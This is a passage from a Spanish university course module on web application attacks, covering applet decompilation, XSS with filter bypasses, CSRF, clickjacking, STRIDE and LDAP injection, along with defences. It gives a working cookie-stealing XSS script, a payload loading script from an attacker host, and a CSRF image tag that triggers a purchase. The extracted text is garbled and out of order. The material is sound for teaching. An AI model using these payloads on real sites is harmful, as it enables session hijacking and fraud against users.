lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
